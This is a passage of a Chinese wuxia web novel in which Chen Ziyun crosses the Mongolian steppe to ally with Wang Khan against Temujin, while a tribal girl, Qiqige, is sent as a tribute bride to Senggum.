如今的汴京,似乎又恢复了往日的繁华,没有了战争的压迫,那些上位者又开始吟风弄月,享受这王朝最后的余韵。 说起来,如今的开封,似乎比临安更讲究风流,好像这里才是才子佳人心心念念的江南好。 牛在我到了此地已经有一段时间了,也重新启用了子虚遗留下来的据点中的一个,这也是保持的最完好的一个。 至于说人手,他倒是招募了一些,但是名义上自然不会是说要他们做什么间谍,只是说自己要做个往来南北的行商,需要了解两地的行情差价,好来往倒卖做生意。 他们这些人也是以伙计的名义,在汴京的各个坊市里打探着各种不入流的消息。 牛在我就这样,一边观察着这些有望成为真正下线的伙计,一边分析着这些从街头巷尾收集到的小道消息,以此来推测金庭政策的变化。 反正自己先生给的任务,也不是要让他怎么精确的把控,只是有个大致的了解就行,反正现在子虚如今都在师娘赵茵萝的手上握着,他们肯定也有人手在这边活动。 他现在扮演的角色,更重要的还是作为一颗扎入金庭的钉子,到了紧要的时候,变成狼牙棒,打的对方头破血流。 哎,劳碌命啊,还是先想想,怎么给自己找个后路吧。 …… 一头黑的发亮的大水牛,拉着一辆同样大的出奇的车架,在绿的不像人间的大草原上悠然的走着。 也没有赶车人来掌握这架奇怪的牛车的方向,倒是有一个毛绒绒的脑袋,时不时的从牛车的门帘后面钻出来,吱吱的叫唤几声,就像是在给拉车的大水牛指明方向。 “哞……” 大水牛似乎真的能听懂那狐狸脑袋的话语,回应着,然后就摆动牛头,换了个方向。 “咳咳……” 车内自然是坐着人的,那狐狸总不至于传出这样的咳嗽声来,要不然只能算她是狐狸精了。 陈子云在车内,缓缓的转动手上的相思小刀,学着那位李探花的摸样,将手里的木头雕刻出了一只狐狸的大概摸样。 他的身下座位旁,还零散的放着一些,大水牛,小女孩,以及十二生肖之类的小动物木雕。 没办法,小李飞刀虽然能用,但是对自身的消耗也着实太大,以至于在面对围攻的时候,让陈子云都只能用以威吓,不敢随意出手。 可这功夫,得来的时候容易,要真正的掌握确实不简单的,他也能学着李探花的摸样,希望通过练习自己的雕刻手艺,将这把例无虚发的飞刀,真正的融会贯通。 至于说那如今算是可以用的出来的破体无形剑气,也只能是附在相思小刀上偶尔用用。 如果用小李飞刀只是耗费力气,那用破体无形剑气就是在耗费生命了。 除了上次被欧阳锋跟裘千仞逼的退无可退,他才孤注一掷的出手,而那一招过后,他感觉自己的身体的内里,像是被刮了一层肉一般。 本来已经差不多恢复过来的发色,又变的白了大半。 功夫是好功夫,可这功夫用起来,不仅是要敌人的命,也要自己的命啊。 天下第一?王重阳啊,你说是不是当了这天下第一的都长命不了? 陈子云这些感慨,也是因为看到了这广阔无垠的,又寂寥无人的大草原才翻起来的。 本以为习惯了桃花岛上那种海天相连不见边际的场面,对于这种草原的辽阔应该不会有什么大的感受,毕竟草原再阔,到了天边,不也就到头了。 而大海的辽阔,其实就是因为他反映的是天空的无垠,当海与天连在一起,那就是无边无际的存在。 可当陈子云真的来到了这草原上,他才发现,原来这蒙古草原的广阔与大海是不一样的。 海是天的附属,是依附于天空的蓝色;而草原的伟岸,却是与天无关,他是大地本身的壮美,在天边与天分手,却也凸显出了他作为大地本身的伟岸。 当他们这一辆孤独的牛车行走在这片彷佛是托着云彩行走的大地上,才能明白什么叫做厚德载物,什么叫做顶天立地。 那是一种深埋在心中的归属感,归属于自己的脚下,所有生命永远都膜拜大地母亲。 桃花岛啊,如今看来就像是小的可怜的漂浮在无根的海洋中的碎屑,让人不由得生出一种自然而然的渺小。 而当你脚踏实地的站在这片草地上,你会察觉到那种微微的脉动,就像是母亲抱着你,哄着你,保护着你。 可能这就是为什么草原上的民族都这么容易信仰所谓的长生天的原因吧,他们时刻体会着草原的广阔与自己的渺小,如果心中再没有个依靠,要如何跟这不可战胜的对手相抗。 …… 陈子云这趟出来,自然是奔着这里即将崛起的那个让半个世界都颤抖的王朝来的。 大元,一个让欧亚大陆几乎所有民族都瑟瑟发抖的国家。 元朝疆域最夸张的时候东起日本海、南抵南海、西至天山、北包贝加尔湖,元史称“东尽辽左西极流沙,北逾阴山南越海表,汉唐极盛之时不及也”。 而与他接壤的小国,基本都被元朝的凶猛姿态给吓的纷纷俯首称臣。 高丽、缅甸、安南、占城都是大元的藩属国。 要不是东渡的日本时遭遇了风暴,说不定日本也会被囊括进来。 可这样伟大的一个国家,陈子云却并不希望它成长起来,因为大蒙古国的崛起,是建立在无数的杀戮与残暴中的。 而且,蒙古人的统治始终都丢不下他们在草原中习以为常的残忍的行事规则,虽然也有提倡汉化的,可他们对于欧亚各名族造成的灾难实在是太深重了。 所以陈子云这次出桃花岛,亲赴蒙古,就是想看看能不能找到办法,将现在还在内斗的蒙古各族给消耗在这草原上,就算是能拖上个几年,给赵茵萝留些时间发展南宋也是好的。 第三百二十四章 草原 也正是考虑到如此,陈子云才在最近给赵茵萝的书稿上,郑重其事的劝说,先不要去动金国,如今的金国不过是将死的野马,除了还能叫唤几声,已经对南宋起不了威胁了。 而现在北方的蒙古草原上,却有一头已经开始张牙舞爪的雄狮在遥望,不仅看着身边的金国,连南宋也被他虎视眈眈的注视着。 一旦这头狮子,彻底的梳理清楚了自己身上的掣肘,那南下不过是时间问题而已。 陈子云曾经也派过子虚的人进入蒙古,可收效甚微。一来是因为蒙古实在是地广人稀,而且这里还基本是部落的模式,有个陌生人进来就看的一清二楚。 而且,蒙古与金国不同,金国的文化如今跟南宋基本没什么区别,一个南宋人换一套衣服基本就能变成金人。 可在蒙古就不同了,是不是本地人,是不是本部族的人,一眼就能被区分出来。 这也是陈子云不得不亲自来一趟的原因,他也是有碰运气的成分。 如今蒙古铁木真与王罕的部落分庭抗礼,虽然铁木真表面上对这个曾经的义父表现的很谦逊,但是谁都看得出来,他铁木真的野心,是早晚要一统草原各部的。 王罕已经老了,铁木真正当年,就算等王罕老死了,铁木真再秉着大义吞并他的部落,到时候谁也不能说什么。 当然,如果王罕先出手,那他铁木真也就不用再顾及什么了。 虽然如今的局势,看着还是铁木真的兵力少些,可他的那些兵都是战场上杀出来的,而王罕的部众却是远不如铁木真这些将士的身经百战。 好在王罕虽老,但还没有糊涂,他也意识到了自己跟铁木真之间的不可避免的矛盾。 就想出了结亲的法子,想以自己孙子都史与铁木真的女儿华筝结亲的关系稳住铁木真,而等两人成婚的那天,不管是自己要杀铁木真,还是趁机将铁木真的部落作为嫁妆给夺过来,都由他来决定。 这次陈子云就是要想办法加入王罕的部落,帮助这位老人家顶住铁木真给与的压力,就算杀不了对方,也要用王罕部落死死的拖住铁木真的发展。 …… “黑云压城城欲摧”,不知道那位唐朝的诗中鬼才李贺是如何写出这般的诗句的,但是陈子云却是在这蒙古草原上,亲眼目睹了这黑云将天空按下,似乎要砸在大地上一般的场景。 可能是因为草原上的天空太大,就算是这压过来的黑云也不过是占了一半的天下,另一半的云依旧是洁白无瑕。 这就形成了一到奇特的风景线,阳光在前面跑着,后面黑云就像是一群草原上的野马一般追着,黑云到的地方阳光躲藏,而黑云的后面却又被阳光占据了。 天空被分成了三块,光、暗、光,简直就像是画出来的世界,绝不像是正常的天象。 陈子云难得的走出牛车,靠在车沿上,等着这后面追来的云雨将他淋个透彻。这地方的雨,是不带半点不净的,就当老天开了浴场,自己享受一番老天爷的淋浴服务。 雨来了,来的很急,带着豆大的雨点,噼噼啪啪的打在车上,身上,老黑黝黑的发亮的毛皮上,只有小黄把脑袋缩进了车里,它的皮毛打湿了可是不好收拾的很。 陈子云赤着脚,站在像是铺着绿绒布地毯的大地上,云化成雨从他的额头,顺着眼角,沿着脸部的轮廓,再到额下,到脖颈,顺着衣服渗透胸膛,不过顷刻间,他已经与这草原,与这世界融为一体,同在这雨里。 “嗷呜……” 一声草原狼独有的呼号,由远及近,这声音与陈子云前段时间碰到的那些个落单的孤狼完全不同,这是王者的呼唤。 “嘭……沙沙……” 是有力的蹄爪在压踏草地的独特声响。 “吱吱……啾啾……” 小狐狸发出了不安的呼唤,陈子云将手伸进车子,安抚了它一番。 “哞……” 老黑也发出了叫唤,不过他可不是怕这不过他膝盖的狗崽子,只是在用自己的叫声警告那些崽子们,小心踏入他的领地。 如此那一道由灰白的犬毛织成的灰白浪花,已经出现在了陈子云的视野中,前面还有些被这些狼群裹挟而来的白色的绵羊。 这些羊群已经完全被狼群掌控了奔跑的方向,已经是砧板上的鱼肉了。原来是打猎回来的狼群,路过了陈子云此时前进的方向。 “嗷呜……汪……” “这狼怎么还狗叫上了。” 陈子云看着那头明显比一般的狼要大上一圈的头狼,朝着自己的方向吼叫了一声,可这声音突然的转折,让陈子云苦笑不得。 散开的狼群,驱赶着受惊乱跑的羊群,就这么直愣愣的朝着陈子云他们这辆奇怪的牛车冲了过来。 这要是真的撞在了一起,那些羊虽然不至于能把他这特意改装过的车架如何,可想到那羊群习惯性随地拉屎的德性,也是让陈子云接受不能。 “绕路。” 陈子云将内力凝聚成音线,朝着羊狼夹杂的群体冲击而去。 对面一阵的慌乱,看来陈子云的威吓还是有些效果的,不过这些蠢东西明显没有明白他的意思,可能只是对这突然出现的奇怪声响感到本能恐惧而已,并不能指导他们改变自己奔跑的方向。 “哎,早知道会遇到这样的情况,就应该腆着脸跟黄老邪学一下碧海潮生曲的。” 陈子云甩甩湿透了的衣袖,不由得有些为自己的错失良机而懊悔着。 “老黑,还是要靠你了。” 大水牛将口中还在咀嚼的嫩草草草的吞下,抬起前蹄踢了踢脚下的地面,随后似乎做了一个类似人类吸气开声的动作。 陈子云一把抱住本来探头偷看外面情形的小狐狸,将它耳朵折下,死死的按住。小黄起先还不适应的踢了踢脚,可随即那即使被陈子云捂住了耳朵还依旧能震撼生灵的牛吼,直接把它震的脑袋发晕。 就算是运功抵挡的陈子云,此时也是脸上泛起了丝丝红晕。 第三百二十五章 偶遇 这老黑,再这么发展下去,怕是要真的成精了。 那一踏一吼之间,陈子云分明感受到,大地也随着在微微颤抖,那些脚下的小草,跟是如同遭受了风压一般,一片一片的往下伏倒。 “咩……” “嗷……” 不管是羊群还是狼群,在听到着这声牛吼之后,不是在高速的奔跑中直接跌倒,就扯着蹄子往旁边逃。 就算是那头非同寻常的狼王,也只是远远的对着老黑龇牙而已,没有丝毫的胆子敢真的冲上来对抗。 那些还能稳住自己的羊和狼,在老黑的前面犹如打水漂时被石子劈开的水波一般,以他们的牛车为界限,草原被分成了两面都是褶皱的镜子。 “哈哈哈,好,老黑威武。” 陈子云说着也松开了用爪子挠自己的手掌的小黄。 他一松手,小黄就直接跳到了老黑的背上,对着那对比刀剑还要坚硬的半月形牛角就是一顿输出,然后就站在老黑硕大的牛头上,吱吱乱叫。 这意思很明显是在抱怨对方,刚才那猝不及防的吼叫,让它十分的不爽。 可就它那软弱的,不成形的指抓,哪里是能动得了老黑。 如今这头不知道发生了什么特殊变异的大水牛,不仅是那对牛角成了神兵利器,就是连身上的那声乌黑发亮的牛皮也不是一般的刀枪能伤害的了的。 陈子云当时还亲自用相思小刀试过,如果只是用一般的力道切割,老黑已经完全能凭着这张牛皮硬抗了。 除非陈子云全力施为,才能用相思小刀的刀尖,切开他的皮层,不过要透过他结实的肌肉就又是一番费力气了。 当然,陈子云也不会真的丧心病狂的用相思小刀去试验老黑的极限,只要确认它有了不输于天下绝顶高手的战力,就放心的带着他一起来了蒙古内地。 …… “射箭,追……” “追羊……狼……” 陈子云回头望去,几句有些听不清的依稀是蒙古语的声音在狼群后面传来。 一伙儿牧民打扮的老少青年皆有,骑着马,带着狗狠命的在后面追着。 陈子云瞬间的就明白了,看来这羊群不是这些狼狩猎来的,而是从附近的牧民那里打劫来的。 这些牧羊人虽然说不至于怕了这些草原狼,可要说在这样的天气里,还要用手中的弓箭在奔袭中射中狂奔的狼群,实在不是一般的牧民能够做到的。 可这些牧民不管能不能射中狼群,他们显然是不愿意就这么认命般的放弃他们的羊群的。 这些羊群,不仅是他们的财产,也是他们活过下一个冬季的保障,不管是保暖用的羊皮袄,还是作为肉食主要来源的羊肉,都逼着他们不能停下脚步。 如今他们座下的马,都已经累的开始吐沫子了,跟这些草原中的狼狗比奔袭,马儿的耐力有余,可灵活却是不够的,这也是刚才被那些狡猾的浪群借着前面路过的一个茂密草地,不见了踪迹的原因。 刚才那黑云就是从他们的那边来的,当黑云当顶的时候,天地几乎黑的见不到五指。 而这些能在夜里眼睛发光的狼群却是丝毫不受影响的,所以这些牧民只能靠着身边的牧羊犬才能找到方向跟了上来。 “其其格……前面有人……” 一身粗狂的提醒,很是焦急,似乎前面的人就要撞到似得。 陈子云看着朝着自己撞上来的白色蒙古马上,一个浑身漆黑的瘦小身影,正随着马儿一起起伏不定,那飘荡着的衣摆,就像是这马儿背上长出来的一双黑色的翅膀。 “其其格……好像是女孩儿的名字。” 陈子云在来蒙古之前,算是恶补过一些蒙古语的基础,可一门语言真要运用自然不是靠闭门造车就能行的。 “哞……” “老黑,别……” 不等陈子云阻止,老黑就朝着这快要踢到自己脑门上的小白马直接一吼。 陈子云在看到老黑踢腿的瞬间,只能率先把小狐狸护住,也就管不得对方会不会伤在老黑的牛吼之下了。 “唏律律……” 那本来似乎还想跃起来跳过障碍物的白马,直接被老黑这一吼,震的瘫软在地了,连自己身上的主人也被摔了下来。 陈子云没好气的拍了拍老黑的粗黑有光的大鼻子,顺手把小黄放在上面,自己准备过去查看一番那人的状况。 “咻……” 一声破风,陈子云随手一抓,一根做工粗糙的兽骨箭矢被抓在了手里。 “住手……” 那射箭的牧民的声音才传到耳朵里,这句话陈子云倒是听得懂。 陈子云抬头,一个标准的精壮蒙古大汉,半露着肩膀,脸上满是风雨之后的水渍与汗渍。 “你……是什么人。” 这壮汉瞪着大眼睛看看陈子云后面的夸张大车,又看看那根被陈子云徒手接下的箭矢,神情忌惮的问道。 陈子云没说话,瞥了对方一眼,用手中的箭矢挑开了刚才那个从马上摔下来的人遮盖在头上的衣物。 竟然真是个女的,不过这晒的可够黑的,加上这一身的黑衣黑袍,简直跟非洲来的也没差多少了。 看她那微微颤动的眼睑,应该只是昏迷了过去,并没有受太大的伤害。 “我只是路人,你把人带走,下次让这位记得跑马的时候,看路,别随便就往人身上撞,会死人的。” 陈子云随手扔下了手中的箭矢,起身回到了自己的大车上。 “其其格……” 那壮汉利落的下马,蹲下身,小心的摇晃着那黑衣少女,见她痛苦的皱起眉头,不由得担心不已。 可此时那些一起来追寻羊群的同伴早就往前面去了,他只能先将人抱起来。 “嗯!嗯……” 这位被唤做其其格的蒙古少女,似乎被扯到了伤口,痛苦的哼了出声。 “其其格,你怎么样,你醒了吗?” 那壮汉以为是少女清醒过来了,连忙呼唤道,可少女只是皱着眉头,并没有回答他。 “遭了,只能把其其格先带回去了,可族长他们都去追羊群了,回去也没有人给医治啊。” 壮汉不知道该如何是好,只能先将少女小心的背到自己的背上,再用套马绳将对方固定好。 拉起那匹摔得的不轻的白马,将缰绳拴在自己的马鞍下面,自己则是骑着马慢慢朝着来时的方向回去。 第三百二十六章 灭顶之灾 陈子云在进入大车后,就利索的将身上湿透的衣服换掉了,毕竟任谁在这草原上穿着这么一身衣服又被风吹,也不会舒服的。 所以啊,那种不计后果的诗情画意,注定只能是短暂的欣赏,千万不能将诗人酒后的一时豪放,当成他平时的处事态度。 陈子云将小黄抱在膝头,抚摸着它柔顺的毛发,这牛车的方向就靠老黑自己把握了。 既然已经碰到了这草原上的部落了,就不怕找不到王罕部落的所在地了。 一边琢磨着,此时的王罕部落到底有几分抵抗铁木真部落的把握,一边抬头透过车顶那块难得的天然水晶,看着外面又逐渐变成了晴天的诡异草原天气。 …… “嗯,好痛,蒙恩,我在哪里?” 其其格苏醒过来了,身体在马上的颠簸引发的疼痛,让她终于是醒了过来,这熟悉的后背,也让她猜到了是昔日的好友蒙恩在背着她。 “其其格,你再忍忍,我们快要回家了,你的伤一定会被治好的,不过是不小心从马上摔下来而已,不严重的。” 蒙恩尽量调整着自己的姿势,让背后的其其格能稍微的舒适些。 “你先放我下来,我要自己骑马。” 其其格拍打着蒙恩的肩膀,她不想被对方这样背着,不仅难受,还让她心里不舒服。 …… 部落里的队伍实在太阳还不曾偏西的时候就发现了羊群被狼掳走的,追上去的时候集结了几乎是他们这个小部落里所有能作战的部众,就是连其其格这样的胆子够大的女子也参与了。 因为他们知道,要是这些羊群找不回来,等他们的不是被活活饿死冻死,就是要主动去找大部落归附,从此过上奴隶般的生活。 其其格躺在自己的床上,看着那一束天光从营帐的顶上射进来,脑子里却一直在回响着自己晕过去前的那一幕。 一头大的离谱的牛,比他们部落里圈养的最大的那头牦牛还要大上几倍。当时自己竟然还妄想纵马从那辆怪异的巨无霸上面越过去。 可是自己在摔倒之前见到的那个男子又是谁,他长得可真好看,比自己还好看,简直不像个男人,自己可是部落里的花朵,多少年轻的部众想娶自己。 其其格将蒙恩那个宽阔的背脊与那个漂亮的男子做着对比,感觉就像是将草原上最美的花儿,与羊群过后的粪蛋子比较。 “族长回来了……族长回来了……” 外面的族人在呼喊着,随后就是传来马蹄缓慢踢踏地面的声音。 其其格气馁的瘫软了身子,将自己藏进了羊皮做的褥子里,她知道,要是族长将羊群夺回来了,就不会是这么冷清的场面,可想而知,他们的部落怕是难过这个冬天了。 自己是会被献给将来的大部落的族长的儿子吗,还是…… 其其格不仅是这个连名字都没有的小部落里最漂亮,也是最聪明的女子,所以他跟一般的女子不同,他从来都不喜欢躲在营帐里,等着外面的男人回来,她喜欢参与到男人做的事情里去。 虽然她想不明白自己到底想要什么,但是她知道,她不愿意被这些根本没她聪明的男人摆布。 可要是在自己的小部落,自己可以凭借这自己的魅力与能力,在这里争出一分自由来,可要是到了大部落里,自己的那点任性的资格就立刻要被剥夺了。 虽然她有信心,凭着自己的样貌,能够讨得任何男人的欢心,但是那会让她内心感到羞耻。 其其格胡乱的想着…… “其其格?你好些了吗,族长唤你呢。” 蒙恩从营帐外进来,本来五大三粗的汉子,此时脸上竟然露着几分难为情的尴尬。 其其格心里顿时凉了半截,似乎有什么不好的事情就要发生到她的头上了。 “族长。” 其其格是被蒙恩搀扶着到了族长的营帐里的,她看着满地的死羊跟那些个脸上表情比死羊还要苍白的男人们,她已经预感到了自己的命运。 “其其格……” 族长已经是四十几岁的老人了,这个年级在草原上已经是长寿的了。 可在其其格的记忆中,这位本来看着还算年轻,依旧能上马驰骋的族长,在今天好像一下子就老了十来岁。 “我们部族完了,就同地上的这些羊羔一样,我们挨不过这个冬天了。” 这句话之后,其其格感觉自己是眼睁睁的看着,面前这个如父亲一般的老人,又把背脊给弯下去了一半。 “族长,我们就没有办法了吗,当初,您不是也带着我们挨过了那样的岁月的吗?” 其其格在记忆中还有些饥饿的时候,你那基本都是靠着这位部落中的智者带着他们闯过来的。 “其其格啊,不一样了,这次,我没办法了……” 老族长低着头呢喃道。 “怎么会没有办法呢,我们还可以去狩猎啊,就算羊没了,我们也可以去找别的部落借啊,大不了我们后面多还一些……我们……” 其其格在搅动自己的脑汁在给部族想办法,可不管是族长、蒙恩,还是其他的营帐中的男人,都没有答话。 “其其格,这年景你也是看到的,草原上好的牧场都给那些大部落给占据了,我们的羊群本来就少了,如今…… 还有王罕部落这些年一直都在长我们的供奉,如今我们剩下的牲畜,已经不够上交了。 今年王罕的孙子又要成婚了,我们这些靠着的部族,还要预备另外的礼物,其其格,我们部落凑不出来了。” 族长抬眼,为难的看了其其格一眼。 “所以,我就成了礼物,是吗?” 其其格忍着身体上的疼痛,狠狠的瞪着四周这些让他厌恶的男人们,一口唾沫直接吐在地上。 “xxxx” 一句不能宣扬在文明世界中的最羞辱人心的,出自本部落的特殊文化语言从其其格的口中宣泄而出。 “其其格,族长也是没办法了,你……” 蒙恩有些看不过去,就拉了拉其其格的衣角说道。 “滚开。” 其其格一把就推开了还搀扶着自己的蒙恩,不但让猝不及防的蒙恩踉跄了几步,她自己也坐倒在了地上。 第三百二十七章 其其格 “族长……” 蒙恩见其其格如此,心有不忍,又祈求者族长道。 就是其他的在营帐中的那几个年轻些的男子,也纷纷看向了坐在上首的族长。 “哼,不过是送出一个女子,与我们整个部族比起来算得了什么,你们难道要为一人牺牲全族吗!” 坐在族长下首的一个年纪较大的男子喝道。 其其格斜眼看着他,这人是族长的亲弟弟,平时就仗着族长耍威风,其实就是个懒货,而且这人每次看自己的眼神都让她觉得恶心,那神态就像是要把自己吞下去似的。 “不能这么说的。” 蒙恩犟着脖子反驳道。 “为什么不能,你难道我说的有错吗?没了羊群,我们的族人在这个冬天靠什么过冬。 没有其他部族的救济,我们就要统统的饿死。难道就因为他一个人,就要让我们的族人全部去死? 况且,她去了,说不定还是享福呢。 蒙恩,我知道你喜欢其其格,但是这个时候,可不是你维护媳妇的时候。” “我……你……” 蒙恩想反驳,可对方说的又刚好戳到了他的心眼上,让他一时语塞。 “好了,都给我住口。” 族长轻喝一声,蒙恩跟那位族长弟弟都阡陌的低下了头。 “其其格……” 族长有些为难的看向其其格。 其其格挺起胸膛,饱满的乳房,将胸中所有的愤懑都一口气排了出,她长长的呼出一口气。 ”好,我去,但是从此以后,其其格与部族再无关联。” 其其格强撑着身子,起身,头也不回的离开了这让她感觉到了恶心的营帐。 一个连女人都无法保护的部族,在跟着赖在这里,早晚也被人卖了。 “其其……” “蒙恩……” 蒙恩还是觉得族长不应该这样对其其格,尤其是他心中还有着那份执恋。可族长的坚决,并不是他一个稍微强壮一些的普通族人能够反抗的。 …… 陈子云这天也跟平时一样,任凭老黑带着自己在偌大的草原上漫无目的的闲逛,他并不在意这一时一分的浪费,他要谋划的是整个草原的天下。 一对有些奇怪的人马从他的身边经过,前面是几个骑着蒙古马的强壮青年,后面是一辆用带着红花的牛拉着的喜车,上面有一个打扮着的姑娘。 本来陈子云是不打算看的,只是这一阵草原上的分把前头的门帘子给掀起了,他也就顺带着看了一眼。 真是个不怎么漂亮的新娘。 陈子云无趣的摇摇头,对于那种指望着碰到一个完美无瑕的草原美人的期待实在是让他有了失望的理由。 “是他,是他,是……” 其其格做梦的时候都不曾忘记这个让她受辱的男子,就是这头牛,这辆车,要是当初自己骑着马跳过去了,就不会有现在的场景了。 马队自然是比牛车要快的了,就在其其格愣神的片刻,这队送亲的队伍就要超过陈子云这信牛由缰的步伐了。 “停……停下……停下啊……” 其其格从板车上站了起来,不顾车子散架一般的摇晃,稳着身子,指着陈子云落在后面的牛车。 “是他,是他啊!” 可不管她如何的想解释,当初追狼群的时候,真切的看到陈子云的牛车的,只有她哥蒙恩,而蒙恩因为羞愧,又怎么会愿意亲自把其其格送到别的男人手上。 “其其格,你认命。” 领头的队长面无表情的朝着其其格说了一句,他只是认为是这个女人还抱有侥幸心理,不肯为了部族的利益而牺牲自己。 “不是,是他啊,牛车,是他啊。” 其其格说着,狠狠的指着陈子云的方向,好像那个牛车里的人欠了她什么似的,就是一定要让这些人明白,自己不是在说谎,而是在说明一个真相。 送亲的队伍停了下来,不是因为相信了其其格的话,而是他们要把本来就准备好的绳索套在她的身上。 “其其格,为什么不能跟开始一样,让我们安安分分的将你送过去,你既然接受了这样的安排,何苦在为难我们?” 队长说着就让人将其其格给绑缚了起来。 “呜呜呜……” 其其格的嘴巴也被人用东西封上了,只能发出这样的声音。 老黑本着不惹事的吩咐,稍稍偏离了这个队伍所在的方向,陈子云躲在车厢里也没有多么的在意对方的行径。 至于说那个女子有些面善,陈子云只当是自己见过的蒙古女子太少,所以才见人就觉得像而已。 这就像西方人看东方人,跟东方人看黑人,都觉得,那些白人、黑人、黄人,除身高体重之间有明显差别的能看出来,脸上几乎长得都差不多似的。 其其格放弃了反抗,可满眼的仇恨却是对着那辆出奇的牛车的,她也不知道为何,可心里就是有一团火,似乎就是因为敌对方自己,才落得了这个下场。 陈子云此时自然是不知道的,自己这么游逛游逛的,却已经被一个女子给记恨上了,虽然自问自己从来没有什么对不住的地方,爱一个人可以有无数的理由,可这恨一个人从来都是不需要什么理由的,一个眼神就够了。 陈子云已经打听到了王罕的部落所在的大致方向,就让老黑按照这的路线一直走就是了。 在这草原上,老黑是不缺食料的,虽然说光吃草不睡老黑的爱好,但是那超中偶尔夹着的虫子药材之类的,也足够老黑补充体力了。 至于陈子云跟小狐狸,只能是等老黑不经意的在吃草的时候,挖到了兔子这类喜欢在草里,浅层地表做窝的小动物。 只要窜出来一个,陈子云曲指一弹,就是一顿饭了。 可惜啊,带来的调味料用的差不多了,再找不到王罕的营帐,可就是要吃那些没味道的肉食了,而且,在这草原上,最缺的不是肉食,而是陈子云需要补充的可食用植物啊。 虽然说这草原上偏低都是绿色食品,可这哪个能吃,那个不能吃,陈子云可是没有丝毫的把握。 第三百二十八章 王罕部落 终于,陈子云在进入草原大半个月之后,遇到了一个规模算得上庞大两个字的部落。 数不清的各色蒙古包围绕着一座微微凸起的山头,错落有致的拱卫着中间一顶明显最大的也是最洁白的蒙古包。 显然这里的社会制度就很容易看明白了,那个耸立在山顶上的,自然就是这个群聚的草原部落的王,或者说是可汗了。 当然陈子云作为一个三无人员,按道理是不可能直接就能见到部落首领的,可谁让老黑实在是太惹人眼球呢,那比一般牛要大上好几倍的体型,那一只蹄子就能踩死一头成年羊的粗壮。 先是一群好奇的小孩子围了过来,这些小家伙倒是也够胆子的,不过是稍微试探了一下,就直接往老黑的身上摸去。 虽然他们最多不过摸到老黑的膝盖上面一些,可但凡老黑稍微用力一点,王前提个腿,这些小孩子恐怕就难以保全了。 好在老黑对于没有敌意的人类,总是保持的相当友善的态度,而且以这些小家伙的力气,不管是抚摸它的毛皮,还是直接拿刀捅它,对老黑来讲并没有什么区别,都不过是春风拂面罢了。 倒是陈子云反而有些不耐了,因为这些小家伙围着老黑,让老黑有些投鼠忌器的不敢迈开脚步了,就怕一不小心将这些还没他膝盖高的小东西给一蹄子一个祸祸了。 没办法,陈子云只好把在自己怀里装睡的小狐狸给扔了出去,没错,就是扔的,不等小黄反应过来就已经落入了一群连自己父母都嫌弃的小屁孩子群里。 “吱吱……” 小黄半梦半醒的抱怨了一句,可等他发现自己身边那一群虎视眈眈的小孩子的时候,立刻撒腿就跑。 它可是经历过被小黄蓉虐待的日子,那个看着可爱的人类小生命,对自己的皮毛下手的时候可是丝毫不求情的。 小黄跟小白两只狐狸,被小黄蓉当初撸下来的狐狸毛,都够给她做一条狐狸毛的围脖了。 小黄勉强的让过那个手最快的孩子,就要往陈子云的车里钻,可不知什么时候,这车门已经关上了,随机头一转就往车底下钻去,随机引着这些绊住牛脚的小孩子们往别处去了。 老黑终于是能把自己悬在半空中的蹄子给放下了,朝着那守卫在门口的卫士那处走去。 而本来跟陈子云的牛车并架而行的那个黝黑少女的队伍,也从另一个门进入了这个营地。 不过陈子云找的是这里如今的主人王罕,而那少女却是被送进了王罕的儿子桑昆的住所。 …… “陈先生不远千里而来,实在是王罕的荣幸。” “大汗客气了,在下对于大汗的英雄气概也是仰慕的紧。” 陈子云跟王罕已经有说有笑的了,在他显露了宋人的身份,先以蒙古缺少的盐巴茶叶为引,又稍微展示了一番文治武功,王罕这位曾经的草原霸主,本着一贯珍惜人才的心胸,客气的亲自招待了他。 虽然现在王罕的态度,还不过是秉着一个成熟的政治家的思维,对于可能成为合作对象的人物,保持着习惯性的尊重而已,这要说多么相信陈子云所说的,那就是你太认真了。 这就是政治的艺术,不要说什么虚伪,演员之类的贬低它,要将一个偌大的部落管理的有理有条,不是靠所谓的正义感,直来直去的性格可以玩得转的。 在以前的蒙古,有个非常奇怪的现象,那就是年轻时候的霸主,往往在老了之后却下场惨淡,因为他们这些习惯了在马上夺天下的人,在马下治天下事他们最大的缺点。 而王罕,作为一个已经老迈的曾经的雄主,还能有这样的手段牢牢的掌控着自己的部落,已经是难得的人物了。 要不是王罕有些生不逢时,在他年轻的时候,金国的实力过于强大,说不好,他也是有机会带领着蒙古部落崛起的。 英雄造时势,时势也造英雄。 可惜,这蒙古千年来的气运你,似乎都被铁木真这位成吉思汗给祸祸光了。 …… 其其格被人从马车上搬下来,这些人可不是她自己部落的人,对待她没有丝毫的客气,就像是在搬一头被捆绑好的牛羊一般。 其其格咬着牙,不让自己委屈与怨恨的泪水流出来,因为他知道,这里的每个人都将会是她后面的人生需要依靠的人。 其其格被粗鲁的扔到了一张大床上,她仰着脸,看到穹顶的装饰很是优美,就算是自己部落里的族长的蒙古包也比不上万一。 这种感觉,就像是在三四线城市习惯了经济型酒店,当第一次看到五星级酒店那种奢侈的装潢时的震撼一样。 其其格在经历着最初的震撼之后,开始思考起自己的命运来,她知道自己的优势在哪里,但是她同样有着男子一般的好强,不想用自己的美貌去换取什么,而是要靠自己的勇武跟男人比较。 在她看来,在以男人为主导的部落里,女人只有跟男人一样的勇敢,强壮才能跟那些男人竞争,而不是成为男人的附庸,每天躲在家里等着男人回来,受了气也没有反抗的勇气。 其其格不同,她从小就明白,自己的命运要靠自己争取的道理,所以她从小就跟着同龄的男孩子一起玩,一起骑马,射箭,而不是跟女孩子那般采花,挤奶。 可能也正是因为如此,所以其其格才有了如此有爆发力的身体,如此苗条同时又充满力量感的线条。 所以就算是她浑身都晒的黝黑,但是配上她菱角分明的脸蛋和矫健的身姿,其其格浑身散发着一种别样的魅力,这也是为什么部落里那么多男子爱慕他的原因。 甚至连一些听说过她的其他部落的男子,都会特意来他们的部落,瞧瞧她这位享有黑珍珠之名的女子。 而桑昆是在一次巡视他们部落是见到的其其格,也顿时被这个与众不同的少女给吸引住了。 当时他就隐晦的暗示了其其格的族长,要她侍寝,可当时其其格的脾气太倔,而且族长也心疼他们这位部落的花朵,就找了个别的姑娘替代。 当时因为桑昆被事先灌了许多酒,也就没有太过苛责,但是也给族长留下了一个承诺,只要将其其格送给他,他就能帮他们部落一次。 这也是为什么,他们部落在损失了羊群之后,族长会如此直接的将她送了过来。 第三百二十九章 桑昆 桑昆今天有些不高兴,因为他自认为已经是这个部落实际上的掌控着,就算是他父亲王罕还没有正式的传位给他,可随便一个外来人就敢越过自己去找自己父亲,那不就是在赤裸裸的看不起他吗? 